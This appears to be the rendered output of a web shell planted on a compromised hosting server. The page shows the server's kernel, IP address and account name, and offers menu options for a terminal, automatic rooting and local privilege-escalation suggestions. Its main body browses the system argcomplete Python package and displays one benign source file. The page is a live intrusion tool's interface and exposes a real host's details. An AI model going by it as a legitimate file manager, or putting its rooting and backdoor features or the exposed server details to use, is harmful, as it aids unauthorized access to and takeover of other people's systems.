Linux amd.servercpanel.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
LiteSpeed
Server IP : 161.248.188.165 & Your IP : 216.73.216.219
Domains :
Cant Read [ /etc/named.conf ]
User : oishifashion
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3.9 /
site-packages /
argcomplete /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2025-08-19 07:26
bash_completion.d
[ DIR ]
drwxr-xr-x
2025-08-19 07:26
__init__.py
31.03
KB
-rw-r--r--
2020-07-12 18:14
_check_console_script.py
2.07
KB
-rw-r--r--
2019-12-22 20:46
_check_module.py
2.53
KB
-rw-r--r--
2019-12-22 20:46
compat.py
524
B
-rw-r--r--
2019-10-23 23:48
completers.py
3.59
KB
-rw-r--r--
2019-12-22 20:58
my_argparse.py
14.99
KB
-rw-r--r--
2019-12-22 20:58
my_shlex.py
12.91
KB
-rw-r--r--
2019-10-23 23:48
shell_integration.py
4.18
KB
-rw-r--r--
2020-07-12 18:14
Save
Rename
""" Utility for locating the module (or package's __init__.py) associated with a given console_script name and verifying it contains the PYTHON_ARGCOMPLETE_OK marker. Such scripts are automatically generated and cannot contain the marker themselves, so we defer to the containing module or package. For more information on setuptools console_scripts, see https://setuptools.readthedocs.io/en/latest/setuptools.html#automatic-script-creation Intended to be invoked by argcomplete's global completion function. """ import os import sys try: from importlib.metadata import entry_points as importlib_entry_points except ImportError: from importlib_metadata import entry_points as importlib_entry_points from ._check_module import ArgcompleteMarkerNotFound, find def main(): # Argument is the full path to the console script. script_path = sys.argv[1] # Find the module and function names that correspond to this # assuming it is actually a console script. name = os.path.basename(script_path) entry_points = [ep for ep in importlib_entry_points()["console_scripts"] if ep.name == name] if not entry_points: raise ArgcompleteMarkerNotFound('no entry point found matching script') entry_point = entry_points[0] module_name, function_name = entry_point.value.split(":", 1) # Check this looks like the script we really expected. with open(script_path) as f: script = f.read() if 'from {} import {}'.format(module_name, function_name) not in script: raise ArgcompleteMarkerNotFound('does not appear to be a console script') if 'sys.exit({}())'.format(function_name) not in script: raise ArgcompleteMarkerNotFound('does not appear to be a console script') # Look for the argcomplete marker in the script it imports. with open(find(module_name, return_package=True)) as f: head = f.read(1024) if 'PYTHON_ARGCOMPLETE_OK' not in head: raise ArgcompleteMarkerNotFound('marker not found') if __name__ == '__main__': try: main() except ArgcompleteMarkerNotFound as e: sys.exit(e)